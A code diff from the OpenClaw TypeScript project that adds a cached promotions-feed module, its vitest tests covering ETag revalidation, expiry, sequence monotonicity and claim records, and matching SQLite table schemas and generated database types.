// Covers the promotions feed cache: refresh cadence, 304 revalidation,
|
||||
// sequence monotonicity, notified markers, and claim provenance.
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { DB as OpenClawStateKyselyDatabase } from "../state/openclaw-state-db.generated.js";
|
||||
import {
|
||||
closeOpenClawStateDatabaseForTest,
|
||||
runOpenClawStateWriteTransaction,
|
||||
} from "../state/openclaw-state-db.js";
|
||||
import {
|
||||
createOpenClawTestState,
|
||||
type OpenClawTestState,
|
||||
} from "../test-utils/openclaw-test-state.js";
|
||||
import { executeSqliteQuerySync, getNodeSqliteKysely } from "./kysely-sync.js";
|
||||
import {
|
||||
listLivePromotionEntries,
|
||||
markPromotionSlugsNotified,
|
||||
maybeRefreshPromotionsFeed,
|
||||
readPromotionClaims,
|
||||
readPromotionsFeedState,
|
||||
recordPromotionClaim,
|
||||
} from "./promotions-feed.js";
|
||||
|
||||
const NOW = Date.parse("2026-07-05T12:00:00.000Z");
|
||||
|
||||
function feedPayload(overrides: Record<string, unknown> = {}) {
|
||||
return {
|
||||
schemaVersion: 1,
|
||||
id: "clawhub-promotions",
|
||||
generatedAt: "2026-07-05T00:00:00.000Z",
|
||||
sequence: 4,
|
||||
expiresAt: "2026-07-06T00:00:00.000Z",
|
||||
entries: [
|
||||
{
|
||||
type: "promotion",
|
||||
slug: "example-models-launch",
|
||||
title: "Free Example models",
|
||||
blurb: "Limited-time offer.",
|
||||
startsAt: NOW - 86_400_000,
|
||||
endsAt: NOW + 86_400_000,
|
||||
provider: "example-provider",
|
||||
authChoiceId: "example-provider-api-key",
|
||||
models: [{ modelRef: "example-provider/example/model-alpha", alias: "model-alpha" }],
|
||||
},
|
||||
],
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function feedResponse(body: unknown, init: { status?: number; etag?: string } = {}) {
|
||||
return new Response(init.status === 304 ? null : JSON.stringify(body), {
|
||||
status: init.status ?? 200,
|
||||
headers: {
|
||||
"content-type": "application/json",
|
||||
...(init.etag ? { etag: init.etag } : {}),
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
describe("promotions feed state", () => {
|
||||
let testState: OpenClawTestState;
|
||||
|
||||
beforeEach(async () => {
|
||||
testState = await createOpenClawTestState({
|
||||
layout: "state-only",
|
||||
prefix: "openclaw-promotions-feed-",
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
closeOpenClawStateDatabaseForTest();
|
||||
await testState.cleanup();
|
||||
});
|
||||
|
||||
it("caches a fetched snapshot and round-trips it from storage", async () => {
|
||||
const fetchImpl = vi.fn(async () => feedResponse(feedPayload(), { etag: '"v4"' }));
|
||||
const state = await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
expect(fetchImpl).toHaveBeenCalledTimes(1);
|
||||
expect(state.sequence).toBe(4);
|
||||
expect(state.etag).toBe('"v4"');
|
||||
expect(state.expiresAtMs).toBe(Date.parse("2026-07-06T00:00:00.000Z"));
|
||||
expect(state.entries).toHaveLength(1);
|
||||
|
||||
const persisted = readPromotionsFeedState();
|
||||
expect(persisted.sequence).toBe(4);
|
||||
expect(persisted.expiresAtMs).toBe(Date.parse("2026-07-06T00:00:00.000Z"));
|
||||
expect(persisted.entries[0]?.slug).toBe("example-models-launch");
|
||||
expect(listLivePromotionEntries(persisted, NOW)).toHaveLength(1);
|
||||
expect(listLivePromotionEntries(persisted, NOW + 3 * 86_400_000)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("skips the network while the last check is fresh", async () => {
|
||||
const fetchImpl = vi.fn(async () => feedResponse(feedPayload()));
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
const second = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl });
|
||||
expect(fetchImpl).toHaveBeenCalledTimes(1);
|
||||
expect(second.entries).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("refreshes at feed expiry and keeps an expired 304 snapshot hidden without retrying", async () => {
|
||||
const expiresAt = new Date(NOW + 60_000).toISOString();
|
||||
const fetchImpl = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload({ expiresAt }), { etag: '"v4"' }))
|
||||
.mockResolvedValueOnce(feedResponse(null, { status: 304 }));
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
|
||||
const expired = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl });
|
||||
expect(fetchImpl).toHaveBeenCalledTimes(2);
|
||||
expect(listLivePromotionEntries(expired, NOW + 60_000)).toHaveLength(0);
|
||||
|
||||
const cached = await maybeRefreshPromotionsFeed({ nowMs: NOW + 61_000, fetchImpl });
|
||||
expect(fetchImpl).toHaveBeenCalledTimes(2);
|
||||
expect(listLivePromotionEntries(cached, NOW + 61_000)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("keeps an expired snapshot hidden after a failed expiry refresh without retrying", async () => {
|
||||
const expiresAt = new Date(NOW + 60_000).toISOString();
|
||||
const fetchImpl = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload({ expiresAt })))
|
||||
.mockRejectedValueOnce(new Error("offline"));
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
|
||||
const expired = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl });
|
||||
expect(fetchImpl).toHaveBeenCalledTimes(2);
|
||||
expect(listLivePromotionEntries(expired, NOW + 60_000)).toHaveLength(0);
|
||||
|
||||
const cached = await maybeRefreshPromotionsFeed({ nowMs: NOW + 61_000, fetchImpl });
|
||||
expect(fetchImpl).toHaveBeenCalledTimes(2);
|
||||
expect(listLivePromotionEntries(cached, NOW + 61_000)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("replaces an expired snapshot when ClawHub publishes a newer sequence", async () => {
|
||||
const firstExpiry = new Date(NOW + 60_000).toISOString();
|
||||
const nextExpiry = new Date(NOW + 86_400_000).toISOString();
|
||||
const fetchImpl = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload({ expiresAt: firstExpiry, sequence: 4 })))
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload({ expiresAt: nextExpiry, sequence: 5 })));
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
|
||||
const refreshed = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl });
|
||||
expect(fetchImpl).toHaveBeenCalledTimes(2);
|
||||
expect(refreshed.sequence).toBe(5);
|
||||
expect(refreshed.expiresAtMs).toBe(Date.parse(nextExpiry));
|
||||
expect(listLivePromotionEntries(refreshed, NOW + 60_000)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("revalidates with If-None-Match and keeps the cache on 304", async () => {
|
||||
const fetchImpl = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload(), { etag: '"v4"' }))
|
||||
.mockResolvedValueOnce(feedResponse(null, { status: 304 }));
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
const state = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, force: true, fetchImpl });
|
||||
expect(fetchImpl).toHaveBeenCalledTimes(2);
|
||||
const secondInit = fetchImpl.mock.calls[1]?.[1] as RequestInit;
|
||||
expect(new Headers(secondInit.headers).get("if-none-match")).toBe('"v4"');
|
||||
expect(state.entries).toHaveLength(1);
|
||||
expect(readPromotionsFeedState().lastCheckedAtMs).toBe(NOW + 60_000);
|
||||
});
|
||||
|
||||
it("drops a stale validator when the cached payload is invalid", async () => {
|
||||
const fetchImpl = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload(), { etag: '"v4"' }))
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload({ sequence: 5 }), { etag: '"v5"' }));
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
runOpenClawStateWriteTransaction(({ db }) => {
|
||||
const kysely =
|
||||
getNodeSqliteKysely<Pick<OpenClawStateKyselyDatabase, "clawhub_promotions_feed_state">>(db);
|
||||
executeSqliteQuerySync(
|
||||
db,
|
||||
kysely
|
||||
.updateTable("clawhub_promotions_feed_state")
|
||||
.set({ payload_json: "{invalid" })
|
||||
.where("state_key", "=", "default"),
|
||||
);
|
||||
});
|
||||
|
||||
const state = await maybeRefreshPromotionsFeed({
|
||||
nowMs: NOW + 60_000,
|
||||
fetchImpl,
|
||||
});
|
||||
|
||||
const secondInit = fetchImpl.mock.calls[1]?.[1] as RequestInit;
|
||||
expect(new Headers(secondInit.headers).get("if-none-match")).toBeNull();
|
||||
expect(state.sequence).toBe(5);
|
||||
expect(state.etag).toBe('"v5"');
|
||||
expect(state.entries).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("never replaces the cache with an older snapshot sequence", async () => {
|
||||
const fetchImpl = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload({ sequence: 4 })))
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload({ sequence: 2, entries: [] })));
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
const state = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, force: true, fetchImpl });
|
||||
expect(state.sequence).toBe(4);
|
||||
expect(state.entries).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("fails silent on network errors and keeps the cached snapshot", async () => {
|
||||
const fetchImpl = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(feedResponse(feedPayload()))
|
||||
.mockRejectedValueOnce(new Error("offline"));
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl });
|
||||
const state = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, force: true, fetchImpl });
|
||||
expect(state.entries).toHaveLength(1);
|
||||
// The failed attempt still stamps the check time so offline runs do not
|
||||
// retry on every command.
|
||||
expect(state.lastCheckedAtMs).toBe(NOW + 60_000);
|
||||
});
|
||||
|
||||
it("persists notified slugs across reads", () => {
|
||||
markPromotionSlugsNotified(["example-models-launch", "second-offer"]);
|
||||
markPromotionSlugsNotified(["example-models-launch"]);
|
||||
expect([...readPromotionsFeedState().notifiedSlugs].toSorted()).toEqual([
|
||||
"example-models-launch",
|
||||
"second-offer",
|
||||
]);
|
||||
});
|
||||
|
||||
it("round-trips claim provenance and upserts by slug", () => {
|
||||
recordPromotionClaim({
|
||||
slug: "example-models-launch",
|
||||
provider: "example-provider",
|
||||
modelKeys: ["example-provider/example/model-alpha"],
|
||||
endsAtMs: NOW + 86_400_000,
|
||||
claimedAtMs: NOW,
|
||||
});
|
||||
recordPromotionClaim({
|
||||
slug: "example-models-launch",
|
||||
provider: "example-provider",
|
||||
modelKeys: ["example-provider/example/model-alpha", "example-provider/example/model-beta"],
|
||||
endsAtMs: NOW + 2 * 86_400_000,
|
||||
claimedAtMs: NOW + 1,
|
||||
});
|
||||
const claims = readPromotionClaims();
|
||||
expect(claims).toHaveLength(1);
|
||||
expect(claims[0]?.modelKeys).toHaveLength(2);
|
||||
expect(claims[0]?.endsAtMs).toBe(NOW + 2 * 86_400_000);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,351 @@
|
||||
import type { DB as OpenClawStateKyselyDatabase } from "../state/openclaw-state-db.generated.js";
|
||||
import {
|
||||
openOpenClawStateDatabase,
|
||||
runOpenClawStateWriteTransaction,
|
||||
} from "../state/openclaw-state-db.js";
|
||||
import {
|
||||
type ClawHubPromotionsFeedEntry,
|
||||
fetchClawHubPromotionsFeed,
|
||||
parseClawHubPromotionsFeed,
|
||||
} from "./clawhub.js";
|
||||
import {
|
||||
executeSqliteQuerySync,
|
||||
executeSqliteQueryTakeFirstSync,
|
||||
getNodeSqliteKysely,
|
||||
} from "./kysely-sync.js";
|
||||
|
||||
// Passive-discovery cache for the ClawHub promotions feed. Deliberately a
|
||||
// separate store from `update_check_state`: promo discovery must never
|
||||
// delay, break, or contend with update checks. The cache is best-effort —
|
||||
// every reader falls back to "no promotions" on any storage or parse error,
|
||||
// and `promos claim` always revalidates against the live API.
|
||||
|
||||
const PROMOTIONS_FEED_STATE_KEY = "default";
|
||||
const PROMOTIONS_FEED_CHECK_INTERVAL_MS = 24 * 60 * 60 * 1000;
|
||||
// Refreshes run inline from interactive commands, so they get a short
|
||||
// timeout (matching the update check's 2.5s) instead of ClawHub's default
|
||||
// 30s — a blackholed connection must not stall `models list`.
|
||||
const PROMOTIONS_FEED_FETCH_TIMEOUT_MS = 2500;
|
||||
|
||||
type PromotionsFeedDatabase = Pick<
|
||||
OpenClawStateKyselyDatabase,
|
||||
"clawhub_promotions_feed_state" | "clawhub_promotion_claims"
|
||||
>;
|
||||
|
||||
export type PromotionsFeedState = {
|
||||
etag?: string;
|
||||
sequence?: number;
|
||||
expiresAtMs?: number;
|
||||
entries: ClawHubPromotionsFeedEntry[];
|
||||
lastCheckedAtMs?: number;
|
||||
notifiedSlugs: Set<string>;
|
||||
};
|
||||
|
||||
export type PromotionClaimRecord = {
|
||||
slug: string;
|
||||
provider?: string;
|
||||
modelKeys: string[];
|
||||
endsAtMs: number;
|
||||
claimedAtMs: number;
|
||||
};
|
||||
|
||||
const EMPTY_STATE: PromotionsFeedState = { entries: [], notifiedSlugs: new Set() };
|
||||
|
||||
type PromotionsFeedStateRead = {
|
||||
state: PromotionsFeedState;
|
||||
payloadInvalid: boolean;
|
||||
};
|
||||
|
||||
function parseSlugListJson(raw: string | null): Set<string> {
|
||||
if (!raw) {
|
||||
return new Set();
|
||||
}
|
||||
const parsed = JSON.parse(raw) as unknown;
|
||||
if (!Array.isArray(parsed)) {
|
||||
return new Set();
|
||||
}
|
||||
return new Set(parsed.filter((entry): entry is string => typeof entry === "string"));
|
||||
}
|
||||
|
||||
function readPromotionsFeedStateWithMetadata(): PromotionsFeedStateRead {
|
||||
try {
|
||||
const database = openOpenClawStateDatabase();
|
||||
const db = getNodeSqliteKysely<PromotionsFeedDatabase>(database.db);
|
||||
const row = executeSqliteQueryTakeFirstSync(
|
||||
database.db,
|
||||
db
|
||||
.selectFrom("clawhub_promotions_feed_state")
|
||||
.select([
|
||||
"etag",
|
||||
"payload_json",
|
||||
"feed_sequence",
|
||||
"last_checked_at_ms",
|
||||
"notified_slugs_json",
|
||||
])
|
||||
.where("state_key", "=", PROMOTIONS_FEED_STATE_KEY),
|
||||
);
|
||||
if (!row) {
|
||||
return {
|
||||
state: { ...EMPTY_STATE, notifiedSlugs: new Set() },
|
||||
payloadInvalid: false,
|
||||
};
|
||||
}
|
||||
let entries: ClawHubPromotionsFeedEntry[] = [];
|
||||
let expiresAtMs: number | undefined;
|
||||
let payloadInvalid = false;
|
||||
if (row.payload_json) {
|
||||
try {
|
||||
const feed = parseClawHubPromotionsFeed(JSON.parse(row.payload_json));
|
||||
entries = feed.entries;
|
||||
expiresAtMs = Date.parse(feed.expiresAt);
|
||||
} catch {
|
||||
payloadInvalid = true;
|
||||
}
|
||||
}
|
||||
return {
|
||||
state: {
|
||||
...(!payloadInvalid && row.etag ? { etag: row.etag } : {}),
|
||||
...(!payloadInvalid && typeof row.feed_sequence === "number"
|
||||
? { sequence: row.feed_sequence }
|
||||
: {}),
|
||||
...(!payloadInvalid && expiresAtMs !== undefined ? { expiresAtMs } : {}),
|
||||
entries,
|
||||
...(typeof row.last_checked_at_ms === "number"
|
||||
? { lastCheckedAtMs: row.last_checked_at_ms }
|
||||
: {}),
|
||||
notifiedSlugs: parseSlugListJson(row.notified_slugs_json),
|
||||
},
|
||||
payloadInvalid,
|
||||
};
|
||||
} catch {
|
||||
return {
|
||||
state: { ...EMPTY_STATE, notifiedSlugs: new Set() },
|
||||
payloadInvalid: false,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
export function readPromotionsFeedState(): PromotionsFeedState {
|
||||
return readPromotionsFeedStateWithMetadata().state;
|
||||
}
|
||||
|
||||
type WritePromotionsFeedStateParams = {
|
||||
etag?: string | null;
|
||||
sequence?: number | null;
|
||||
payloadJson?: string | null;
|
||||
lastCheckedAtMs?: number;
|
||||
notifiedSlugs?: Set<string>;
|
||||
};
|
||||
|
||||
function writePromotionsFeedState(params: WritePromotionsFeedStateParams): void {
|
||||
runOpenClawStateWriteTransaction((database) => {
|
||||
const db = getNodeSqliteKysely<PromotionsFeedDatabase>(database.db);
|
||||
const existing = executeSqliteQueryTakeFirstSync(
|
||||
database.db,
|
||||
db
|
||||
.selectFrom("clawhub_promotions_feed_state")
|
||||
.select([
|
||||
"etag",
|
||||
"payload_json",
|
||||
"feed_sequence",
|
||||
"last_checked_at_ms",
|
||||
"notified_slugs_json",
|
||||
])
|
||||
.where("state_key", "=", PROMOTIONS_FEED_STATE_KEY),
|
||||
);
|
||||
const next = {
|
||||
etag: params.etag === undefined ? (existing?.etag ?? null) : params.etag,
|
||||
payload_json:
|
||||
params.payloadJson === undefined ? (existing?.payload_json ?? null) : params.payloadJson,
|
||||
feed_sequence:
|
||||
params.sequence === undefined ? (existing?.feed_sequence ?? null) : params.sequence,
|
||||
last_checked_at_ms: params.lastCheckedAtMs ?? existing?.last_checked_at_ms ?? null,
|
||||
notified_slugs_json: params.notifiedSlugs
|
||||
? JSON.stringify([...params.notifiedSlugs].toSorted())
|
||||
: (existing?.notified_slugs_json ?? "[]"),
|
||||
updated_at_ms: Date.now(),
|
||||
};
|
||||
executeSqliteQuerySync(
|
||||
database.db,
|
||||
db
|
||||
.insertInto("clawhub_promotions_feed_state")
|
||||
.values({ state_key: PROMOTIONS_FEED_STATE_KEY, ...next })
|
||||
.onConflict((conflict) => conflict.column("state_key").doUpdateSet(next)),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
export function markPromotionSlugsNotified(slugs: Iterable<string>): void {
|
||||
try {
|
||||
const state = readPromotionsFeedState();
|
||||
const merged = new Set(state.notifiedSlugs);
|
||||
let changed = false;
|
||||
for (const slug of slugs) {
|
||||
if (!merged.has(slug)) {
|
||||
merged.add(slug);
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
if (changed) {
|
||||
writePromotionsFeedState({ notifiedSlugs: merged });
|
||||
}
|
||||
} catch {
|
||||
// Best-effort: a failed marker write only risks repeating a notice.
|
||||
}
|
||||
}
|
||||
|
||||
export function isPromotionWindowLive(
|
||||
entry: Pick<ClawHubPromotionsFeedEntry, "startsAt" | "endsAt">,
|
||||
nowMs: number,
|
||||
): boolean {
|
||||
return entry.startsAt <= nowMs && nowMs <= entry.endsAt;
|
||||
}
|
||||
|
||||
export function listLivePromotionEntries(
|
||||
state: PromotionsFeedState,
|
||||
nowMs: number,
|
||||
): ClawHubPromotionsFeedEntry[] {
|
||||
if (state.expiresAtMs !== undefined && nowMs >= state.expiresAtMs) {
|
||||
return [];
|
||||
}
|
||||
return state.entries.filter((entry) => isPromotionWindowLive(entry, nowMs));
|
||||
}
|
||||
|
||||
type RefreshPromotionsFeedParams = {
|
||||
nowMs?: number;
|
||||
force?: boolean;
|
||||
fetchImpl?: (input: string | URL | Request, init?: RequestInit) => Promise<Response>;
|
||||
timeoutMs?: number;
|
||||
};
|
||||
|
||||
/**
|
||||
* Cadence-gated, fail-silent feed refresh. At most one conditional GET per
|
||||
* check interval; offline or malformed responses leave the cached state
|
||||
* untouched (aside from the attempt timestamp, so failures do not retry on
|
||||
* every command). Returns the freshest available state.
|
||||
*/
|
||||
export async function maybeRefreshPromotionsFeed(
|
||||
params: RefreshPromotionsFeedParams = {},
|
||||
): Promise<PromotionsFeedState> {
|
||||
const { state, payloadInvalid } = readPromotionsFeedStateWithMetadata();
|
||||
const nowMs = params.nowMs ?? Date.now();
|
||||
// Never hit the network from unit tests unless the test injects a fetch.
|
||||
const skipForTests =
|
||||
!params.fetchImpl && (process.env.VITEST !== undefined || process.env.NODE_ENV === "test");
|
||||
// Revalidate when a snapshot reaches its producer-declared expiry. Once an
|
||||
// expiry refresh has been attempted, lastCheckedAtMs moves past that horizon
|
||||
// so an offline/304 response stays hidden without retrying on every command.
|
||||
const checkedBeforeSnapshotExpired =
|
||||
state.expiresAtMs !== undefined &&
|
||||
state.lastCheckedAtMs !== undefined &&
|
||||
state.lastCheckedAtMs < state.expiresAtMs;
|
||||
const fresh =
|
||||
!payloadInvalid &&
|
||||
state.lastCheckedAtMs !== undefined &&
|
||||
nowMs - state.lastCheckedAtMs < PROMOTIONS_FEED_CHECK_INTERVAL_MS &&
|
||||
(!checkedBeforeSnapshotExpired || state.expiresAtMs === undefined || nowMs < state.expiresAtMs);
|
||||
if (skipForTests || (fresh && !params.force)) {
|
||||
return state;
|
||||
}
|
||||
try {
|
||||
const result = await fetchClawHubPromotionsFeed({
|
||||
...(state.etag ? { etag: state.etag } : {}),
|
||||
...(params.fetchImpl ? { fetchImpl: params.fetchImpl } : {}),
|
||||
timeoutMs: params.timeoutMs ?? PROMOTIONS_FEED_FETCH_TIMEOUT_MS,
|
||||
});
|
||||
if (result.status === "not-modified") {
|
||||
writePromotionsFeedState({ lastCheckedAtMs: nowMs });
|
||||
return { ...state, lastCheckedAtMs: nowMs };
|
||||
}
|
||||
// Snapshots are monotonic; never replace cached state with an older
|
||||
// sequence a stale edge might still serve.
|
||||
if (state.sequence !== undefined && result.feed.sequence < state.sequence) {
|
||||
writePromotionsFeedState({ lastCheckedAtMs: nowMs });
|
||||
return { ...state, lastCheckedAtMs: nowMs };
|
||||
}
|
||||
writePromotionsFeedState({
|
||||
etag: result.etag ?? null,
|
||||
sequence: result.feed.sequence,
|
||||
payloadJson: result.payload,
|
||||
lastCheckedAtMs: nowMs,
|
||||
});
|
||||
return {
|
||||
...(result.etag ? { etag: result.etag } : {}),
|
||||
sequence: result.feed.sequence,
|
||||
expiresAtMs: Date.parse(result.feed.expiresAt),
|
||||
entries: result.feed.entries,
|
||||
lastCheckedAtMs: nowMs,
|
||||
notifiedSlugs: state.notifiedSlugs,
|
||||
};
|
||||
} catch {
|
||||
try {
|
||||
writePromotionsFeedState({
|
||||
...(payloadInvalid ? { etag: null, sequence: null, payloadJson: null } : {}),
|
||||
lastCheckedAtMs: nowMs,
|
||||
});
|
||||
} catch {
|
||||
// Storage unavailable: stay fully in-memory for this invocation.
|
||||
}
|
||||
return { ...state, lastCheckedAtMs: nowMs };
|
||||
}
|
||||
}
|
||||
|
||||
export function recordPromotionClaim(record: PromotionClaimRecord): void {
|
||||
try {
|
||||
runOpenClawStateWriteTransaction((database) => {
|
||||
const db = getNodeSqliteKysely<PromotionsFeedDatabase>(database.db);
|
||||
const values = {
|
||||
slug: record.slug,
|
||||
provider: record.provider ?? null,
|
||||
model_keys_json: JSON.stringify(record.modelKeys),
|
||||
ends_at_ms: record.endsAtMs,
|
||||
claimed_at_ms: record.claimedAtMs,
|
||||
};
|
||||
executeSqliteQuerySync(
|
||||
database.db,
|
||||
db
|
||||
.insertInto("clawhub_promotion_claims")
|
||||
.values(values)
|
||||
.onConflict((conflict) => conflict.column("slug").doUpdateSet(values)),
|
||||
);
|
||||
});
|
||||
} catch {
|
||||
// Provenance is annotation-only; a failed write must never fail a claim.
|
||||
}
|
||||
}
|
||||
|
||||
export function readPromotionClaims(): PromotionClaimRecord[] {
|
||||
try {
|
||||
const database = openOpenClawStateDatabase();
|
||||
const db = getNodeSqliteKysely<PromotionsFeedDatabase>(database.db);
|
||||
const { rows } = executeSqliteQuerySync(
|
||||
database.db,
|
||||
db
|
||||
.selectFrom("clawhub_promotion_claims")
|
||||
.select(["slug", "provider", "model_keys_json", "ends_at_ms", "claimed_at_ms"]),
|
||||
);
|
||||
return rows.map((row) => {
|
||||
let modelKeys: string[] = [];
|
||||
try {
|
||||
const parsed = JSON.parse(row.model_keys_json) as unknown;
|
||||
if (Array.isArray(parsed)) {
|
||||
modelKeys = parsed.filter((entry): entry is string => typeof entry === "string");
|
||||
}
|
||||
} catch {
|
||||
// Ignore malformed provenance rows; they only power annotations.
|
||||
}
|
||||
const record: PromotionClaimRecord = {
|
||||
slug: row.slug,
|
||||
modelKeys,
|
||||
endsAtMs: row.ends_at_ms,
|
||||
claimedAtMs: row.claimed_at_ms,
|
||||
};
|
||||
if (row.provider) {
|
||||
record.provider = row.provider;
|
||||
}
|
||||
return record;
|
||||
});
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
+20
@@ -205,6 +205,24 @@ export interface ChannelPairingRequests {
|
||||
request_id: string;
|
||||
}
|
||||
|
||||
export interface ClawhubPromotionClaims {
|
||||
claimed_at_ms: number;
|
||||
ends_at_ms: number;
|
||||
model_keys_json: string;
|
||||
provider: string | null;
|
||||
slug: string;
|
||||
}
|
||||
|
||||
export interface ClawhubPromotionsFeedState {
|
||||
etag: string | null;
|
||||
feed_sequence: number | null;
|
||||
last_checked_at_ms: number | null;
|
||||
notified_slugs_json: Generated<string>;
|
||||
payload_json: string | null;
|
||||
state_key: string;
|
||||
updated_at_ms: number;
|
||||
}
|
||||
|
||||
export interface CommandLogEntries {
|
||||
action: string;
|
||||
entry_json: string;
|
||||
@@ -1051,6 +1069,8 @@ export interface DB {
|
||||
channel_ingress_events: ChannelIngressEvents;
|
||||
channel_pairing_allow_entries: ChannelPairingAllowEntries;
|
||||
channel_pairing_requests: ChannelPairingRequests;
|
||||
clawhub_promotion_claims: ClawhubPromotionClaims;
|
||||
clawhub_promotions_feed_state: ClawhubPromotionsFeedState;
|
||||
command_log_entries: CommandLogEntries;
|
||||
commitments: Commitments;
|
||||
config_health_entries: ConfigHealthEntries;
|
||||
|
||||
@@ -533,6 +533,24 @@ CREATE TABLE IF NOT EXISTS config_health_entries (
|
||||
updated_at_ms INTEGER NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS clawhub_promotions_feed_state (
|
||||
state_key TEXT NOT NULL PRIMARY KEY,
|
||||
etag TEXT,
|
||||
payload_json TEXT,
|
||||
feed_sequence INTEGER,
|
||||
last_checked_at_ms INTEGER,
|
||||
notified_slugs_json TEXT NOT NULL DEFAULT '[]',
|
||||
updated_at_ms INTEGER NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS clawhub_promotion_claims (
|
||||
slug TEXT NOT NULL PRIMARY KEY,
|
||||
provider TEXT,
|
||||
model_keys_json TEXT NOT NULL,
|
||||
ends_at_ms INTEGER NOT NULL,
|
||||
claimed_at_ms INTEGER NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS installed_plugin_index (
|
||||
index_key TEXT NOT NULL PRIMARY KEY,
|
||||
version INTEGER NOT NULL,
|
||||
|
||||
@@ -528,6 +528,24 @@ CREATE TABLE IF NOT EXISTS config_health_entries (
|
||||
updated_at_ms INTEGER NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS clawhub_promotions_feed_state (
|
||||
state_key TEXT NOT NULL PRIMARY KEY,
|
||||
etag TEXT,
|
||||
payload_json TEXT,
|
||||
feed_sequence INTEGER,
|
||||
last_checked_at_ms INTEGER,
|
||||
notified_slugs_json TEXT NOT NULL DEFAULT '[]',
|
||||
updated_at_ms INTEGER NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS clawhub_promotion_claims (
|
||||
slug TEXT NOT NULL PRIMARY KEY,
|
||||
provider TEXT,
|
||||
model_keys_json TEXT NOT NULL,
|
||||
ends_at_ms INTEGER NOT NULL,
|
||||
claimed_at_ms INTEGER NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS installed_plugin_index (
|
||||
index_key TEXT NOT NULL PRIMARY KEY,
|
||||
version INTEGER NOT NULL,
|
||||
|
||||
Reference in New Issue
Block a user